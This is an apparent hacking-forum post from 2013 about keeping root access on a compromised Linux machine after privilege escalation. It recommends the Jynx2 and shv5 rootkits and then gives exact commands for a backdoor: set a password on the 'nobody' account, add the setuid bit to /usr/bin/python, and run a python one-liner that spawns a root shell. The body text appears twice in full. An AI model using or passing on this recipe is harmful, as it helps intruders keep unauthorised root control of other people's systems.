Maintaining access once you've gotten root. 03-04-2013, 11:13 PM
#1
Jynx2 and shv5 are quite good rootkits. Jynx2 is way better though.
So, there was a thread like 5 minutes ago talking bullshit.
Now, how to maintain root access once you've got in and managed to escalate privs with your local 0day exploiting some vulnerable suids, without a rootkit?
Easy, ever heard of Setuids, or suids? You will make that program run as root to a normal user (non-root).
So, the best way would be changing the password of a non-root user such as nobody, so just type:
passwd nobody, and set the password.
Then:
chmod u+s /usr/bin/python
This will set a suid bit on python.
When you log in to the box as nobody (non-root user), you should type:
python -c "z=__import__('os'); z.setuid(0); z.system('sh')"
uid=(0) around here, eh?
So, there was a thread like 5 minutes ago talking bullshit.
Now, how to maintain root access once you've got in and managed to escalate privs with your local 0day exploiting some vulnerable suids, without a rootkit?
Easy, ever heard of Setuids, or suids? You will make that program run as root to a normal user (non-root).
So, the best way would be changing the password of a non-root user such as nobody, so just type:
passwd nobody, and set the password.
Then:
chmod u+s /usr/bin/python
This will set a suid bit on python.
When you log in to the box as nobody (non-root user), you should type:
python -c "z=__import__('os'); z.setuid(0); z.system('sh')"
uid=(0) around here, eh?
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)




